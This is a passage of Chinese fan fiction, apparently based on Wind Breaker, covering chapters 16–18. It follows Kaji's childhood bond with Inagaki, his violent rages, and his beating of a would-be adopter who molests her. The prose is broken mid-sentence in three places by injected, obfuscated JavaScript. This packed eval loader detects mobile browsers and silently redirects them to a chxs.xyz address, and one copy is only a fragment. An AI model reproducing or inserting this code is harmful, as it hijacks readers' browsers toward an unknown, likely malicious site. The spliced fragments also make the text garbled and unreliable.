“樱君,”苏枋去到樱身边,顺势把捏在手里的绘马递过去,“听稻小姐的,你也许个愿,挂到架子上去吧。”樱依旧下意识回绝:“都说了不要——话说你怎么已经准备好了?!” 榆井见状,也跟着怂恿:“写一个吧,樱同学。这毕竟是樱同学第一次来镇上的神社,和神明大人说句悄悄话,就当作纪念好了!”樱仍是一脸不情愿:“我是不知道要写什么啦!” 苏枋笑眯眯地把笔和绘马一起塞到他手里:“不会写吗?那我教樱君好啦,就写‘想留在这里,和大家共度四季’,怎么样?” 樱的脸顿时熟透,一路红到了耳根。 榆井附议:“不错欸!”“不错个鬼啊!!” 稻垣:“噗……怎么这么不经逗。” 梶:“他就这样。” 樱抓着笔,面露无措,又在其他人或是期待或是看好戏的注视下燃起了毫无由来的胜负欲,他气哼哼道:“写就写。” 他抓耳挠腮了一阵,拿定了主意,捏着笔大刀阔斧地写起来。 苏枋探头去看,愣住了——“祈愿丰收”。 “樱君你……为什么要写这个。” “说什么傻话,这不是你讲的吗?”樱不耐烦道,“粮食珍贵,要好好感谢神明和务农的人才行。我想一直都能吃到好吃的东西啊,怎么,不可以吗?” “可以可以,当然可以了!”榆井第一个策应,“我也要写一个这个,希望年年丰收!” 樱不满自己的心愿被光明正大地剽窃了:“喂——你写点别的啊,干吗要跟我写一样的!”榆井不管:“我就写这个!粮食最重要!”苏枋在一旁笑:“怎么像小孩子一样,那我也写一个同样的好了。” “苏枋你怎么也凑热闹?!”“紧跟级长的脚步呀,我和榆君再怎么说也是樱君的左膀右臂。”“呃……!” 稻垣歪过头问梶:“梶要写吗?”梶咬了一口棒棒糖:“要。” 稻垣笑笑:“那我也写吧,真是令人心生期待的愿望呢。” 最终,五枚用不同字迹写着“祈愿丰收”字眼的绘马挂在了托着沉重岁月与人来人往的架子上。 稻垣理了理袖子,轻声叹息:“若是夏天播下的种子,能在秋天如愿收获就好了。” 梶闻言,握了一下她的手,迅速放开了。 他说,会的,今年也一定会丰收。 16. 驯养(上) 梶是从小不怎么生病的类型,因而八岁那次感冒就被当成不痛不痒的吹风受凉草率处理了——称之为处理,也不过就是妈妈让他多穿件外套,起来多喝两杯热水,出去晒晒太阳蹦哒一阵,大不了再找附近的小朋友摔个跤出出汗,一定就能好了。 梶自己是没有细菌性感冒和病毒性感冒的概念区分的,八岁的孩子更不可能明白受凉和感冒其实并不明确相关;甚至对于大部分粗心大意的家长而言,每年都有为数不少的病患死于流行性感冒也是闻所未闻之事。 直至最后,病毒感冒发展成高热肺炎被送进医院时,梶依然从容不迫,煞白的小脸绷得像一张纸,却又干干净净没有一点表情,明明头晕难受得要死,但还在琢磨明天去找哪个小朋友摔跤。 小孩子的生命力太野蛮,梶后来回想起来,把自己那“发高烧睡一觉就好,生大病跑两圈就行”的天真无知归咎于那种菁纯而野蛮的生命力催长起来的无端自信。 相较之下,挂水住院反倒成了惊天动地又羞于启齿的事——毕竟在易怒的野狗一样四处疯跑、和同类互相撕咬的年纪里,一点小病就倒下、甚至关在医院里出不来这种事,说出去怪丢人的。 故而,梶没有同任何人讲过,他是怎么认识稻垣的。别人都知道他们自小在一起,感情深厚,稻垣宠他宠得没边,却不知道梶在第一次见到浑身是血的稻垣时被吓得心脏停跳,不知道他那双小小年纪就四处打架伤人的手,如何小心翼翼把她滑下床沿的胳膊托起来,放回被子里掖好。 在梶眼里,稻垣是个很好看的小女孩。这种好看就如同唐突闯进昏暗屋子的日光,那光尖锐而又强烈,在眼球表面引起针扎般的刺痛感,照亮窗玻璃的同时也让表面蒙着的灰尘无所遁形。最重要的是,当那种好看和血迹、虚弱还有濒死的奄奄一息纠缠杂糅在一起时,会形成一种巨大的冲击——梶在那种突如其来的冲击引起的余震里,第一次看清了蛰伏于自己心中的猛兽。 梶年幼的心是一座牢笼,里面用锁链锁着一只漆黑的怪物。它日益长大,梶预感自己总有一天会困不住它,他不知道放它出笼会有什么后果,便也没有承受多少负担;直到梶第一次见到稻垣,血肉模糊、意识涣散,胸腹不正常地向下凹陷,形成一个坑洼,梶就在那诡异的坑洼里不期然窥见自己将怪物放跑后的光景。 八岁的梶第一次清晰地意识到,倘若放跑那只怪物,一定也会发生这种事:美丽的事物将顷刻间罹难。 朦胧的念头令他无力——对孩子来说,暧昧而不确切的认知会躲过理性和道德的审判,于是恐惧也莫名令人着迷。 稻垣转到儿童病房时,梶早就病愈出院了。他三不五时偷偷跑去见她,由此还在稻荷神社的巫女面前混了个脸熟。可他从不和稻垣搭话,只是在病房门外探头看一眼就走开,一开始心还会怦怦跳,几次之后就静如止水了。 他觉得自己的行为就像在外面偷偷喂养了流浪猫,不敢告诉爸爸妈妈于是每天都放学回家都得绕路去确认小猫有没有活着。 被他隔空认养的小猫很安静。梶每次见她,她都在听医生的嘱咐,或者配合护士吃药打针,不管大人说什么都顺从地点头,看不出一点日后臭脾气的影子;巫女试图和她谈谈她自己的来历,她沉默居多,回答也是很简略的“不记得”“不知道”“对不起”。 在数个一日将尽时的斜阳从她的白衣上褪去后,她叫住了梶,跟他打了招呼。她微微勾起的眼角被夕阳染得绯红,梶看得出神,好一会儿才反应过来她在问自己找她是不是有什么事——梶觉得很别扭,想了一会儿才理解这是因为她有口音,语法也很奇怪,这里的人和人打招呼是不会这么讲的。 梶直白地指出这一点。她一愣,接着好脾气地请教,那能不能告诉她地道的说法是什么呢。 她说话还算流利,只是发音微妙,措辞也板正得过头:“只靠自学的话,果然还是会讲得很生硬,语言学习离不开环境——你有空的话,能不能多陪我说说话呢?” 梶嫌麻烦,想了想,从包里掏出了崭新的国文课本塞给她,逗得她笑了出来。 那个笑容让梶克制不住地后退了一步——心里的猛兽抬起爪子不轻不重地挠了他一下。 她又问他的名字,梶告诉她了,还被迫写给她看是哪两个字。 “我的名字是这两个字哦。”她在梶的掌心里一笔一划地写,梶僵在那里,压根没注意她写了什么——手心太痒了。 “我想想……日本人的话,应该念成Fuyume吧。” 可是这个名字不好,梶不喜欢。不知道为什么,梶觉得这两个字组合在一起给人的感觉很不幸,本来取名字就很少用否定词,而且“不梦”好像是否定了一些不该否定的东西。 梶问她:“你姓什么?”她眨眨眼睛:“姓氏吗?嗯……我不记得了,不过那位巫女大人说我可以用她的姓,所以,我就姓稻垣吧。” “那我叫你稻。”梶斩钉截铁。“咦……”稻垣面露疑惑,不过没有反对。 于是梶就这样拥有了一个对她的称呼,短促、轻快又可爱。 稻,春生夏长,秋收冬藏——一听就很好养活,生命力旺盛。 稻垣出院时,说话间已听不出一丁点口音了。梶塞给稻垣的国文课本,她一页都没翻过——只要梶来看她,她就揪着他陪自己聊天,他不想说她也会变着法儿地挑起话题,装傻充愣逗他讲话。可怜梶一个沉默寡言的小孩,每每在她病床边被花言巧语哄得团团转,嘴皮子翻得口干舌燥,连心里那只猛兽都被磨得没脾气,懒于叫唤,尾巴有一搭没一搭地抬起来又放下去。 稻垣去养护设施的那天,巫女和梶都去送她。 临了该告别,稻垣勾了勾他的袖子,轻轻问他:“你以后还会来看我吗?” 梶没接话,她眼里就流露一丝不舍——梶吓得差点跳起来,总觉得她下一秒就要委屈哭了。 梶只能点头。 稻垣转眼就笑开了:“会常来吗?” 梶已老实,继续点头。 由此,八岁的梶第一次体会到,女孩子将落未落的眼泪是这世界上最可怕的东西,它能兵不血刃叫人屈服。 梶不愿意再面对那可怕的东西了,他决心不再让稻垣有流泪的机会。 可梶万万没想到稻垣还不放过他,追着他问:“一周几次呀?”梶有点头皮发麻:“……有空就来。”她拉起他的手晃了晃:“那应该放了学就空了吧?” 梶很奇怪,他为什么就是吐不出一句拒绝她的话?明明平时说出口很容易啊。 稻垣很高兴自己抓到了一个陪她解闷的固定玩伴:“约好了啊,说话算话。” 稻垣没有去上学,养护设施的老师说她太聪明了,完全不必从国小读起;直接跳级上国中又太夸张,容易被人排挤,加之手续很难办,身份也是个问题。所以他们在征求过稻垣本人的意见后,让她暂且留在养护设施里自学,先把身份问题解决了,过几年去读国中。 梶松了一口气。他想,要是稻垣去上学,理所当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059618|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然是去他读的那所,那样的话——她就无法避免地会从别人嘴里听说自己的事。 被孤立啦,被讨厌啦,脾气很坏啦,控制不住自己啦,动不动就暴怒随机抓一个惹了他的倒霉蛋小朋友来咬啦……诸如此类,都不是好话——可能会吓哭她,那更可怕。 梶已经很小心了,可在氛围和观念都已经固化下来的环境里,很多事的发生是没法避免的。 在一个人人都认为他是不服管教、随时失控的野兽的环境里,梶想要保持理智是很困难的,毕竟,从小到大没有人教过他要怎么做,没有人站在他身边陪他聆听笼中困兽蠢蠢欲动的吐息声和锁链碰撞的不祥轻响。 他是孤身一人与之日夜鏖战。 那么有一天他支撑不下去、放任一切崩溃似乎也是不难想见的局面。 梶到底还是在稻垣的面前失去理智了。他的脑海里一片空白,视网膜的成像也模糊不堪,无法分辨人和事物的线条,也没有区分光影的块面。花白的闪光接二连三爆裂,他的视野被淹没了。他只看到一团团矗立的黑影,而扯断了锁链、迈步出笼的猛兽掌控他的肢体,用喉咙深处的低吼催促他将这些山一般的黑影逐一撕碎。 梶已疲于从深渊里打捞随波逐流的自我,他独自坚守太久,一旦崩溃,就更加易碎,散落一地无从摭拾。 一个人的战斗没有胜利,梶所能做的只有拖延,让殉难的那天不要过早到来。可年深月久的孤独对小孩子来说是毁灭性的,梶莲不敢和旁人倾诉自己胸中的野兽,他藏好了恐惧,代价是终究毁于孤独。 而梶在毁灭前的一刻,隐约听到有声音闯进了寂静而混沌的深渊,将他温柔包裹。 “莲……莲,醒醒,看清楚我是谁。” …… “哎,怎么跟饿久了的小动物一样,见谁都咬。” …… “不行哦,我不喜欢被人粗暴对待呢——就算是你也不行。” …… “休息一下,做个好梦吧。” …… 梶又看见了唐突闯入暗室的日光,强烈、霸道,不由分说地将灰蒙蒙的他照亮了。 太刺眼了,他想,会激怒他心中的猛兽。可他又如此渴望被光亮笼罩,即使被灼伤,他也会从昼夜不停的苦熬中得到解放。 梶再度清醒过来的时候,发现傍晚的霞光盖满他的全身。他四肢铺开躺在泛着土腥味的地上,耳边传来“吱呀——吱呀——”的轻响。 稻垣坐在秋千上前后摇晃,低头看着他笑,说,终于醒啦。 梶很诧异,他心绪平静,浑身松弛,猛兽不知何时又回到了笼子里。稻垣完好无损,没有受伤害的痕迹—— 这个聪明得有些狡猾的女孩子,不知用什么办法暂时约束了他心中的猛兽。 从此以后,梶几乎每天去见稻垣。稻垣已不执着于抓他陪她说话练习口语了,她大多数时间都在看书,全是艰涩难懂的大部头,梶看一眼就头痛,默默躲在一旁玩手机游戏。有的时候她出门,多半是去图书馆办借还手续,或者去古书店,她会问梶要不要一起,梶没什么所谓,就陪她一起去。 后来就渐渐演变为她走到哪里他就跟到哪里的局面——没什么特别的理由,习惯了而已。梶习惯了稻垣的陪伴,稻垣也习惯了他的跟随。那只猛兽不再轻易嘶叫,梶总能在稻垣身边获得短暂的喘息的余裕。 稻垣到儿童养护设施半年后,设乐老师又接回了另一个不幸的男孩——父母双双亡于车祸的梅宫一。 17. 驯养(中) 稻垣和梅宫处得很好。 稻垣不梦生平喜欢跟两种人打交道,脑子灵光的聪明人,以及言出必行、有目标又有执行力的实干家,梅宫一属于后者——后来的樱遥同样如此。 对于稻垣和梅宫私底下讨论过自己偶尔会在暴怒状态下失去理智的这一情况,梶并不知情。当时稻垣给出的结论是神经阈值太低了,减少输入性刺激为宜,但也拿不出标本兼治的解决办法——她在孩子中已算得上见识广博,但理论知识储备再丰厚,遇到案例实践还是免不得束手束脚,结论是暂且搁置,下次再遇到这种情况把梶打晕了晾在一边,也算某种意义上的冷处理。 柊进入这个小小的交际圈之后,倒是提出了一套简单粗暴的方案:棒棒糖加耳机,闭口,塞听。组合拳颇有效果,梶就此钦服,成了柊的小尾巴,跟在他屁股后面跑东跑西,听话得要命。 稻垣和梅宫都在旁鼓掌,就是担心梶怕不是逃不过年纪轻轻听力受损的命运,老了真不知该怎么办才好。 在梶跟着柊到处晃的那段时间里,稻垣愈发深居简出。后来梅宫实在看不下去,宣称成长期的少女整日窝在房间里养蘑菇简直不像话,一点都不青春朝气,勒令柊把梶踹过来陪人出门晒太阳。 “好久不见呀,莲。”稻垣若无其事地翻着书,语气淡得没有滋味。“噢。”梶一无所觉,拿起她的外套,问她今天打算去哪里。 “没想好。”“去散步?”“也行,可我走不动路,好久没出门了。” 梶当然听不明白稻垣话里弯弯绕,他恳切提议:“我背你。”稻垣笑笑:“你是不是有病。” 梶摸不着头脑,不懂自己为什么平白无故就被骂了。 稻垣漫不经心地拨弄着书页:“莲,你很久没来看我了——当初不是说好经常来的吗?” 梶不知道这话该怎么接。 “你是不是认识其他漂亮小女孩啦?”稻垣和和气气地问。梶终于没由来打了个寒噤:“没有,我只是跟着柊哥……” 稻垣表示赞同:“噢,那毕竟跟着柊出去玩比较有趣,跟我待在一起太无聊了。” “不是——”梶下意识否认,接着打了个隔愣,他发现自己也说不上来跟稻垣在一起哪里比较有意思。 他支吾了几句,硬着头皮扯开话题:“我不过来的话,稻就很少出门吗?” 稻垣手里又翻过一页:“基本上是这样,偶尔会被梅或者柊强行拖出去就是了。” “那我以后还是会常来的。”梶实在是个很有责任心的小孩。 稻垣多盯了他两眼,合上书,没再说什么。 那天他们在河边散步,梶总觉得有人在看他们。窥望的视线在空气里纠缠不清,有的散乱有的成团,他循着望回去的时候又若无其事地移开了,让人很不爽。 “莲,明年四月份,我要去白金台女中上学了。”稻垣在河岸边捡了块相对干净的地方坐下来,梶也自然而然停在她身旁。 “白金台?不在镇上?”“嗯,在东京。” 梶感到茫然:“稻要离开这里了吗?” “不会,我每天往返上学,麻烦是麻烦了一点——梅和设乐老师都不赞成我出去独居。”“噢,那也挺好的。” 这里面的隐藏前提和前述事实太多了,逻辑关系隐晦又复杂,梶是分辨不了的。稻垣很清楚,她也不再勉强,直接说结论:“莲,如果你不想来见我,就不用来——别听梅宫和柊的,你可以拒绝。” 梶皱了皱眉,天生悍猛的直觉让他感觉这话里有诈,他没有出声。稻垣也没理他,坐了片刻吹会儿风,站起了身,掸了掸灰尘径直往回走。 青春期的男孩子发泄精力的途经大多是外向型的消耗,打架、打电动,或是投身运动类的社团活动,不外乎如是;而女孩子大多是内爆型,会不作声地琢磨很多有意义或没有意义的事情,哪怕其中一大部分是集中在细节上的徒劳无益的过度消耗和纠结,但她们中的少数人确确实实借此机会第一次深入地观照自身。 稻垣的自我观照远早于青春期,不妨碍她轻松参透很多问题的症结和事态转关。而她考虑问题和看待事物的角度,梅宫和柊都鲜少理解,更遑论梶。 稍微早熟的孩子悄悄拥有替代懵懵懂懂的同龄人做决定的特权,不过稻垣显然把这视作一种义务,或是应尽的责任。 “我们不是小孩子了,没必要像以前那样成天黏在一起——人总归都有各自想做的事,不能因为过去交情好就束缚了彼此的志趣。” 她嗓音清澈,一如身侧流光易逝的河水,可唇齿间的吐息清爽又干燥。 “我们的约定就此作废,梶莲。” 年纪渐长,总不会满足于只有彼此陪伴的世界。只要不见面的日子长了,所有深情厚谊都可以在层层盘剥后被潦草划归为萍水相逢。 由时间堆砌起来的感情一样可以被时间拆解。 稻垣就这么云淡风轻地松了手,放梶去更大的天地里纵马。 梅宫百思不得其解:“小稻你啊,干吗这么别扭?梶来看你,你不是很开心吗?” 稻垣反问:“他跟着柊不是更开心吗?”梅宫捏起了鼻子:“哇,好大醋味。” 稻垣神情淡淡,手不释卷:“人要长大,就得审视自己,面见天地——天天跑来见我做什么?浪费时间。” 梅宫狠狠捏她脸上日渐削减、所剩无几的软肉——她也开始发育长身体,出落得愈发秀丽端庄,只是人看上去总是显得瘦弱清减。 “小稻!小小年纪不要讲话这么沧桑!!”嘴上这么说,其实也就比稻垣年长半岁的梅宫痛心疾首:“你说那些是一码事,可你喜欢梶吧,这是另一码事啊!” “是啊,一码归一码。”稻垣接话,“所以我这事又有什么非同小可的?放到一边静观其变吧——没准过阵子,我就不喜欢他了呢?” 梅宫那时候还没后来那么通透,被她三言两语绕进去了,心里怏怏,又说不出反驳的话来,伸手把稻垣的头发揉得乱七八糟以泄愤。 “小稻,你性格真的很烂欸!”“嗯。”“不过就算性格这么差劲,我们小稻还是很招人喜欢很招人疼啊,哎!真了不起!”“……梅宫一,我看你也病得不轻。” 转过一个年头,第二年春天,稻垣去白金台女中上学,第一天下学回来就在车站碰见梶。 “梅宫哥说他临时有事,没空来接稻。”梶这么跟她解释。稻垣无语:“你怎么不拒绝他?” “我不想见你,就不用来——稻之前是这么说的吧。”“是啊。” “可我想见稻。”梶顺势握住她的手,依然是那种理所当然的语气,没觉得一点不妥,“我们已经几个月没见过面了。” “Line上不是会打招呼吗?”“那不一样。”稻垣难得费解:“有什么不一样啊。对你来说,维持这种程度的联系不就可以了吗?”梶耸耸肩:“不知道,反正不一样。” 稻垣感到无力,心想梶在男孩子里大抵也不算是粗枝大叶的类型,只是论及异性往来里细微的门道和讲究还是太难了,要教会梶避嫌可能还得再过两年。 她决定先这么放过:“随你吧——吃糖吗?”“我有。”“港区限定发售的口味,这边吃不到。”“要,谢了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059619|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 稻垣没有刻意和梶保持距离,也没有再度拉近关系——停留在这种不上不下的状态就行了,反正梶也满意。梶固定周末去见她,大部分时候蹲在养护设施里陪她种蘑菇,有时候也出门——连约会也谈不上,纯粹是打发时间。 梶只是不多想罢了,稻垣也懒得费劲点他。他连她非要读女中的理由都搞不清楚,甚至察觉不到这里面存在一个理由——自然更不会知道有多少男孩子在她放学路上蹲守,找机会给她递情书。对于这些年里那些接二连三冒出来想收养她的人,梅宫和柊三缄其口,梶同样不知情。 让人意想不到的是,最后一个收养人的出现打破了平衡,连设乐都有了松口的意向,这让状况变得一团糟,大家都措手不及。 所有人都以为梶是从梅宫和柊那里得知那个收养人的底细后,才冲过去把人打了的,事实上并非如此。 那天,是收养人同设乐结束最后一次恳谈后离开,在离开福利院的路上恰巧碰见了独自坐在秋千上沉思的稻垣。 他说了许多动听熨帖的好话,彬彬有礼,笑容温暖,稻垣自始至终一言不发,只是礼貌听着,偶尔囫囵点头附和。他轻轻拍了拍稻垣的脊背,顺手落在她裙裾下的膝盖上——接着似有似无地往里滑动了一截。 只这一个动作,让买饮料回来的梶撞了个正着,场面直接失控。 梅宫和柊赶到的时候,公园的游玩区域溅了满地的血,跟杀人分尸的犯案现场相去不远。 那个筹谋许久,结果因设乐的态度有所软化就松懈了,最终因暴露了习惯性的小动作而功亏一篑的恋童癖横在地上两眼翻白,整张脸都有些变形,俨然一副出气多进气少的样子。柊见状赶紧打电话叫救护车。 稻垣紧紧抱着失去意识的梶,犹如即将堕入深渊之人死死攥住最后一根救命稻草。 “没事的……”她在梶的耳畔低声呢喃,仿佛在哄他入睡,“没事的,莲,我在呢,不会有事的……” 可她的姿态却像囚牢里抓着生锈的铁王冠等待加冕的被废黜的女王。 梅宫第一次见到稻垣如此紧绷的样子,素来端正俏丽的五官都稍有崩坏了。他在稻垣淡漠的眼睛里窥见疯狂的、灼灼燃烧的光火。 “我绝对不会让你出事的。” 梅宫心知,他这个聪明到令人忧心慧极必伤的妹妹是个满嘴谎言的小骗子。 说什么只要不再频繁见面,时间一长,再深厚的感情也会自然淡去——说得好像自己是一片无根的浮萍,随水飘游来到他们身边,她将自己的停驻视为一次短暂靠岸,终有一日还会离开。 梅宫不敢苟同。至少他很清楚自己一定会留住稻垣,即使面对滔天的洪水,他也不会放任他的妹妹被再度被卷挟而去。 可她怎么连自己都骗。 梅宫在稻垣和梶身前蹲下,一边摸了摸梶的额头和脖子确认他的状况,一边试探着喊她:“小稻?” 稻垣眼睑微微掀起,梅宫在那抬眸的瞬间同时窥见气势逼人的美丽,以及恐怖至极的平静:“梅,这件事很难收场。” 梅宫吞咽了一下。 她是个谎话连篇的女孩子。 她言之凿凿,初恋就是用来抱憾终身的,这也是人生必不可少的历练,所以她会慢慢忘记梶——反正她最初喜欢他也不过就是一种雏鸟情结,毕竟她当初在医院里,遇到过最无害又默默关心她的人就是梶。 “我要救他,我一定要救他——梅,我不会让任何人任何事毁掉他。” 可这跟情结不情结的分明没有半点关系,梅宫深刻地体会到,她就是喜欢梶喜欢得要命。 18. 驯养(下) 梅宫是个出了名的好脾气乐天派,遭遇人生巨变后虽颓唐了一阵子,之后又恢复了原本的状态,性格似乎更温吞柔和了一些,对谁都是笑脸相迎,不管遇见了什么烂人、发生了什么烂事都自有一套极端乐观主义的看法——他在人前发火的次数少之又少,更遑论在孩子们面前。 但稻垣为了筹措收养人提出的巨额索赔,进地下街铤而走险的那一夜,梅宫的怒火令所有人心肝俱颤。他让设乐把孩子们都赶回房间睡觉,把稻垣提进了保育员的独立工作间,二话不说摔上了门。柊和梶还有其他赶去地下街帮忙抢人的伙伴全都被关在外面。 工作间的门隔音效果不算差,两个人在里面说话稍有几句大小声外面也听不见,可那晚梅宫的怒吼像闷雷一样一阵阵炸响,间或夹杂稻垣的尖叫。 梶一下子就慌了,上前拧了拧门把手,发现上了锁,急得提高了嗓门:“梅宫哥,你别对她太粗暴——她受不了的,梅宫哥!!” 柊摁住了梶:“梅宫那家伙什么脾气你不清楚吗?他不可能对小稻动粗的。” 楠见也跟着附和。 “可是……”梶也很清楚这一点,可还是免不了着急,因为梅宫太生气了——在座所有人都从没见过他那个样子。 柊叹气:“说到底是小稻不谨慎了,她哪怕叫上人搭个手呢?自己一个人去地下街,胆子也太大了。她新年夜刚在地下街赢了一大笔钱出尽风头,闹出那么大阵仗,那条街的人都见过她那张过目不忘的脸呢——这次又去,不是摆明了撕人面子吗? “要不是梅宫留了个心眼,一发现她人不见了就直接找过去——但凡晚一点,后果不堪设想。” 梶无话可说。 在柊的劝阻下,不再有人试图插手这场惊天动地的兄妹吵架。在整整半个小时的激烈争吵过后,工作间的动静渐渐弱下去。 就在大家都松一口气的时候,里面传来了崩溃的哭声。 “嘶——”柊倒抽一口冷气。梶直接冲上去试图破门:“稻?稻?!梅宫哥开门!你开门!!” 楠见动作最快,直接去找设乐要来了钥匙。梶把钥匙捅进锁孔胡乱拧了两圈,推门进去。 “稻!!” 梅宫一脸疲倦,怀里抱着稻垣,贴着墙根坐着。稻垣扯着他的外套,埋在他前襟失声痛哭,她整个人蜷缩在梅宫的臂弯里,瘦弱的脊背有一下没一下地发颤。 梅宫望着梶,眉眼低沉,手上轻拍稻垣的背安抚她,神情温和又稍嫌苦涩。 “没事了……梶,都没事了。” 梅宫是这么说的。 梶很难过——他曾经下定决心不再让她流泪,可她哭得如此凄惨,那种珠沉圆折的心伤令他肝肠寸断,猛兽的呜咽在他心里留下久远的回声。 没人知道稻垣那个晚上经历了什么。 梶的巨额赔偿金得到了解决,收养风波彻底平息。梅宫借设乐的名义正式对外宣布,稻垣不梦直至成年前都不会离开儿童养护设施,任何人不得越过梅宫一干涉她的去留;养护设施也不再受理针对稻垣递交的收养申请。 此外,还有一些细枝末节的地方也发生了变化。比如琴叶注意到,自那以后,稻垣的裙裤长度都不会短于小腿以上,女中的学生大多把制服裙改短,她却专门去重新定做了加长款;衣服也都以素色为主,上装一年四季都是带领子的中长袖,和琴叶一起逛街时,露肤较多的款式再好看时尚也一律剔除,不予考虑。再比如,梅宫和稻垣商量要不要干脆转学回镇上被拒绝后,柊让梶每天负责接送稻垣去车站——他有事走不开的话也必须找人替代,总之不允许稻垣在外面落单。 梅宫和柊那一阵子在这方面的严防死守在外人眼里到了有点神经质的地步,但没人对此发表意见,稻垣也不反对。这种状况持续到了梅宫和柊高一那年,他们统一了风铃高中,重新梳理了组织架构,正式组建防风铃。风铃高中的学生和住民之间的关系在梅宫锲而不舍的努力下渐渐修复,街区的秩序也得到了维护,按理说,稻垣的人身安全也得到了一定程度的保障,没必要盯得那么紧了,可梶一如既往跟在她身边。 不过这种保护式的跟随似乎很快就在街区日益和平松弛的气氛里悄无声息地变了味。在倾慕大名鼎鼎的强运姬的男孩子们看来,梶的存在大约可以理解为“猛兽在侧,生人勿近”。 在鼓起勇气上前搭讪的几个男孩子看见抵达车站的梶、顿作鸟兽散之后,稻垣扶了扶额头。她倒也不是没考虑过认真交往一个男朋友——纵使她在书里见识过再宽广的天地、参透了再多的道理,也还是需要真实的生活和人情来打磨这份天赋的聪颖;她从梅宫他们那里得到了丰沛的感情,若要付出一些,也是理所应当。 可是,她在东京读的女校,也没兴趣专门去和大城市的男孩子结交,被他们用眼白从头到脚挑剔——而回到正东风镇上,身边又有这个人寸步不离地守着,一点机会都不给啊。 “莲,你把他们吓跑了欸。”她接过梶递来的水,捏了捏瓶子。“是吗。”梶没放在心上。他倒也习惯了那些总是黏在稻垣身上的目光,不过就算有人靠近,说不了几句也会被稻垣客客气气地打发走,还有些踌躇半天也不会上前——只会眼巴巴瞪着他。 关他什么事,莫名其妙。 这些人就跟轻飘飘飘的纸屑一样,偶然挂到衣服上了,风一吹手一掸也就掉了,于梶而言不值得上心。 “怎么两三年过去了,你还是一点都不开窍。”稻垣的语气少见地带着哀怨。 对这没头没尾的指摘,梶回了一个更加不解的眼神。 稻垣侧过脸看着他:“莲,你总是和我在一起呢——从我来到这个镇上开始,我们就没怎么分开过。” 他那些国中的同期,除了佐狐,大多都谈了几任女朋友了,就他,还整天一边心安理得牵她的手一边什么交代都不给。稻垣也难得苦恼,她对梶一向说不出几句重话。 梶确实不开窍。他处理不了太过复杂的感情,绝大多数情绪和精力都投入到自我斗争中,即便拥有了耳机和棒棒糖,梶为了驯服心中的野兽,也时时精疲力尽。 可在他失去理智把那个收养人的肋骨一根根打断的那一天,他在稻垣微微发冷的呢喃中醒来,他发现自己被她弱不禁风的细瘦臂膀环绕,身上的血弄脏了她干净的白裙。 那一瞬间,梶发觉自己心中的牢笼有了松动。 倘若稻垣肯接受,就算是怪物也会心甘情愿被驯养——那只猛兽将走出牢笼,徘徊在她身边,它会为了得到她的抚摸而温顺地抖落皮毛,摇着尾巴勾缠她的手腕。 他将不必再一个人和无边无际的破坏欲对峙,神经绷紧,夜不能寐。 稻垣能够拯救他。 梶不由得问:“稻会和我一直在一起吗?” “我凭什么要一直和你在一起啊。”稻垣又气又好笑,还是耐着性子给他讲道理,“莲,要是我交了男朋友,就不能再和你在一起了。” “稻上哪儿去交男朋友。”梶一本正经道,“男生不都和你说不上什么话吗?” “你以为那是谁的责任……气死我算了。”稻垣狠狠地翻他一个白眼。 稻垣觉得有必要让自己的青梅竹马赶紧认清现实,不然她自己都不敢论断到底是她的容忍先见底,还是对他的情分先告罄——梶被要求,接下来的几天,不必到车站接她,他们在商店街入口碰头。 翌日,梶在商店街入口看见青梅竹马被一票男生团团簇拥,她脸上挂笑,细声细语地回应每一个搭话的男孩子——梶大受震撼,原来挂在衣服上的纸屑只要她一个笑容就会融化成粘稠不已的流金蜜糖。 那种粘腻感令梶起了鸡皮疙瘩。 他刚摘掉耳机,就听见有人大胆提议:“强运姬接下来要去哪里?要不要一起去哪里玩?”稻垣语调温柔:“不巧,我接下来有约呢。” 男孩子们发出遗憾的哀鸣:“欸——” 她轻声笑了,像是妥协于他们的热情,不忍扫兴:“不过,去咖啡厅坐下喝杯茶聊会儿天的空闲也还是有的。” “好耶!那我们一起去吧!”少年们应声欢呼。 梶当机立断上前:“稻。” 周围立刻鸦雀无声。 “莲。”稻垣眯了眯眼,目光停落在他脸上。 梶才不管其他人瞪着自己的眼神充斥诸多不满和忌惮,直接拉起稻垣的手:“走了。” “噢。”稻垣一副没所谓的样子,照旧顺着他,回头抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059620|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手和大失所望的男孩子们挥了挥,纤柔和顺地道别,“抱歉啊,下次吧。” 转过街角,没人看着了,梶才重重吐出一口气。 他低声道:“没有下次。”“嗯?”稻垣佯装不懂。 梶拉着她靠进了路边建筑投落的阴翳里,习惯性逆着光站,为她挡住了落日西晒。他攥着她的手腕不放:“不要跟他们去啊——稻别和其他人走,这次不行,下次也不行。” 